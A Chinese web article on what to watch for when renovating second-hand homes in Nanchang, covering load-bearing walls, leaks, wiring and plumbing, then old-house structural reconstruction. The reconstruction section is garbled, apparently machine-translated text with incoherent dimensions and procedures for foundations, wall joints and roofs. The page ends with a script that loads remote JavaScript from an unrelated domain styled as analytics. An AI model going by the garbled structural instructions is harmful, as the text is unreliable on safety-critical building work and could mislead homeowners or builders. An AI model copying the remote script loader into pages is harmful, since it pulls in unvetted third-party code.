南昌二手房装修注意的问题有哪些？

当下在南昌房产，要数什么类型住宅最火爆呢?什么?新房，NO，别墅?也不是!二手房，回答正确。现在买二手房的人可是越来越多，但是有一大问题，在南昌二手房装修没有一个很好的体系，也就是说装修的基本上不太令南昌业主满意。现在二手房年代都比较久远，可能房龄都已经有5到10年那么久了。对二手房重新装修很多南昌业主又不知道怎么下手，怎样去利用自己有限的钱财去装修好二手房，装修可是一门很大的学问的。在这里，我们就为广大的南昌市民们准备装修二手房的朋友们，总结了一下南昌二手房装修需要注意的问题。南昌二手房装修注意的问题一：随意拆改墙体导致墙体塌陷以前的房子户型结构往往不是很好，所以一些朋友在购买二手房的时候，已经在谋划着要修改房屋的结构，在哪添一个玄关，打通哪里的一堵墙等等。因为城市中的多层住宅多是砖混结构，所以墙体首先是承重抗震构件，其次才是围护分隔构件。如果为了扩大空间打断承重墙，将使墙体结构的承重和抗震能力减弱，留下严重的安全隐患。所以随意拆改结构可能带来种种麻烦，比如说墙裂、塌陷，还有电路不通等问题。南昌二手房装修注意的问题二：卫浴间漏水惹来邻居投诉不要以为二手房已经有前面的业主住过，防水方面就不会出问题，实际上经常会有人在搬进二手房之后因为漏水被下层的业主投诉。因为房子的年代过久或者是原本的防水做得不好，不少二手房的卫浴空间都有漏水的现象。南昌二手房装修注意的问题三：水电路燃气管线老化严重因为以前的材质没有现在的先进，而且加上年代比较久了，所以很多二手房都存在水电路老化的问题。若是事前没有进行仔细检查，很可能没住上多长时间，电灯不亮了，水管又爆裂了。南昌二手房装修注意的问题四：插座太少不便使用有些朋友简单装修一下就搬进了二手房，但是随后就会发现，很多电器找不到插座，只好多买一些活动插座，但是太多的线路纠结在一起让人看着心烦。现代生活，家用电器越来越多，对于插座的需求也在增加，旧房子在插座设计方面往往难以达到现在的使用要求。因此，装修时不妨多预留一些插座，方便今后的使用。南昌二手房装修注意的问题五：二手房墙面二手房装饰装潢装修搞糟墙面首先用专用工具全面检查一遍墙体：平整度、水平、墙角正角等情况，基材是柴泥的一定要全部清除到砌体再清洗干净，重新粉刷水泥砂浆二度，再批腻子做涂料。如果基料是水泥砂浆的则重点检查粉层有无空鼓墙体有无开裂情况，再对症下药。墙面有空鼓的，必须敲去粉层见砌体，清洗干净后，重新粉刷水泥砂浆，基层较好的老墙面有泛黄，特别是因吸烟做饭时抽烟、气熏蒸过的墙体，可有两种选择：一是全面彻底清楚墙面原有老腻子;二是全部墙面粉刷一层介质封闭。无论采用哪种方法，都要事先清除墙面铁、木质桩钉，并清洗桩洞，水泥修补平整后再进行下道工序。有时装修会遮掩很多缺点，因此在购房时，最好从外立面到楼道，从墙体、地面到门窗、管道，认真观察每一个细节。了解房子整体结构情况，房屋有无破坏结构的装修，有无私搭、改建。对此要多与业主进行沟通，了解住宅的内部结构，包括管线的走向、承重墙的位置等等，方便日后的重新装修。对于质量问题比较突出的房子，建议不要购买;若只是存在一些可以解决的小问题，要及时向业主指出，这可是作为讨价还价的最佳筹码!挑选到一套主体装修基本到位、没有质量隐患的二手房，是可以省下许多麻烦的!南昌二手房装修注意的问题六：制定详细的二手房装修计划二手房装修是一个系统工程，所以装修前制订详细的装修计划，是十分必要的。免得装修过程中增项，或者干一步想一步，没有统筹安排，钱只能越花越多。二手房不同于新房，装修首先要进行拆除工作，但要注意不要把旧的全部砸掉，而且拆除的部分材料是可以再利用的，比如说地板、瓷砖等。南昌二手房装修注意的问题七：巧用壁纸对于期望通过二次装修改变房子户型的业主来说，墙体改造是最有效的一个手法。最关键的是要避免砸坏承重墙，由于旧式户型开间过小，空间紧凑，装修设计存在一定局限性，不妨尝试利用后期家居配饰，来达到扩张空间的作用。建议一般情况下少动墙体结构。如果墙体在结构上真的十分不合人意，需要拆掉一些墙，将空间重新整合，这个时候一定要注意不可拆掉承重墙，改变房屋受力结构，也不可随意在承重墙上打洞或开门，此种情况将带来极其严重的隐患。如果原有的墙体已经很合理了，那么在二次装修中，完全可以用墙面漆、壁纸或壁布，给墙面一张全新的面孔，而且这样也会节省不小的开支。南昌二手房装修注意的问题八：节能水电改造装修中，水电改造既是最基础的部分，也是最关键的部分。从材料上说，早些年装修的房子水路工艺大多用的是镀锌管、铝塑管等材料，漏水现象时有发生。现在，随着材料的更新换代，这些管材已经开始慢慢被弃用。目前，多数装饰公司都采用的是塑钢管。在二次装修中，刚好可以借这个机会给老化的水管“鸟枪换炮”。旧房子存在的电线老化、违章布线等现象，也可以通过二次装修重新更换、改造。装修前，要仔细了解住宅水电管线的铺设方向、位置和管径，并与家装公司沟通改造方案。有些业主在二次装修时往往大改卫生间或厨房的各种线路铺设，甚至修改墙体，这很容易破坏建筑物原来的防水设计，所以施工时一定要小心，如果出现漏水则必须重做防水。最好在装修过程中体现节能的理念，比方说水路的改造，老楼的管线分布缺乏合理性，而且厨房、卫生间的水管局限了位置，一旦更改不仅需要更换大部分管材，还需要合理分割空间位置，这时一定要选择节能产品，比如节水型龙头和节水型卫浴产品等。

南昌旧房改造的具体注意事项都有哪些

很多家庭因为房子居住的时间长了，不是很满意当前的装修需要二次改造，但是旧房改造翻新比毛坯房相对来说更不容易，那么南昌旧房改造翻新需要注意哪些方面的问题呢。1.南昌旧房改造——地下结构处理作为施工单位，可以先钻探勘探孔，以便在现场获得可靠的信息，这是设计单位为基础处理提供可行性研究的基础。如果根据现场数据修改设计单元的刚性连接方案，它将为建筑单元带来极大的舒适感。特别是，在软土地基中使用分级砂和砾石将大大缩短施工期，并且建筑物的沉降稳定而迅速。南昌旧房改造的应当注意，根据施工期间的深度替换，如果原来的基础还带有取代砂石，地基的土应一定距离保留，则部分被替换自下而上的基础。每层200用平坦的振动器夯实。如果更换深度很大，则必须建立必要的支撑。这将防止原来的更换砂和砾石坍塌，并将危及原始房屋的安全。2.南昌旧房改造——部分拆除旧房子南昌旧房改造拆迁有两种选择：第一种是扩建，然后是拆迁，首先拆除地面，然后进行扩建。实践告诉我们，当拆除量较小时，可以采用拆解后的方法而不影响扩建。当拆除量较大时，最好考虑拆除时由于振动大，噪音大，灰尘和施工碎屑造成的第一种拆除方法。注意：南昌旧房改造的时候一些老房子可能有局部墙壁开裂现象。此时，必须允许移除某个环形梁以确保结构的安全性。3.南昌旧房改造——新旧结构连接南昌旧房改造对于建立沉降板的做法，通常可以按照图纸要求和施工规范进行施工。新旧结构之间的连接是一个技术问题，在使用刚性连接时值得研究。（1）南昌旧房改造造新旧基础处理。旧的和新的基础必须相互连接。解决方案是去除旧基地旁边的填土，新旧基地必须南昌旧房改造从地基上切下旧砖，将一只脚放在钢筋混凝土地板上。砖块用三块砖深120毫米的砖拼接，2a6的肋条连接在一起。每800毫米放置一个牵引杆，并延伸到370毫米的旧墙。截面和加强件与环形杆相同。旧的地球环梁需要移除混凝土以暴露必要长度的钢筋和新的环梁焊缝。应在新旧环形梁的交叉处放置垂直环形梁，以提高整体刚度。（2）南昌旧房改造新旧墙体的处理在新旧墙的交叉处，设计师经常设计每三块砖拼接一块砖的做法，但实际上因为老砌筑墙体的质量不一定非常好，切的时候有很大一部分都将丢失，并没有达到预期的效果。实践经验告诉我们，适合凿约150毫米（3A6附加）每300毫米。如果一些纵向壁留千方百计为施工过程中的任何原因，他们应该在老墙在370毫米切断以防止错误的连接。如果资金允许，一起新旧壁可以用来在旧壁和钢丝网A4@宽500毫米移除膏药层100双面具有约1米的宽度双方。高度约为3至8乘500毫米，然后用水泥砂浆擦拭表面。在地板的交界处，每层楼都应有一条钢筋混凝土带和一个环形梁。4，南昌旧房改造——新旧屋面处理南昌旧房改造在新旧屋顶的交叉处，无论是刚性还是柔性接头，都必须设置伸缩缝以防止屋顶开裂和下雨。我们使用的成功方法是：对于柔性防水屋顶，我们将在整平层中制作伸缩缝，缝的宽度为25-30mm，然后是天花板的防水层。如果采用坚固的防水屋顶，在制作混凝土金属丝网之前必须去除屋顶防水层宽度的一半，以消除屋顶拆除时由振动引起的隐患。特别要强调的是，如果拆除旧的屋顶板时各个板损坏，应将其拆除并更换为良好的板，但伸缩缝仍应放置在新旧墙壁接缝中。当旧屋顶防水且需要翻新时，防水方案自然灵活防水为好。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();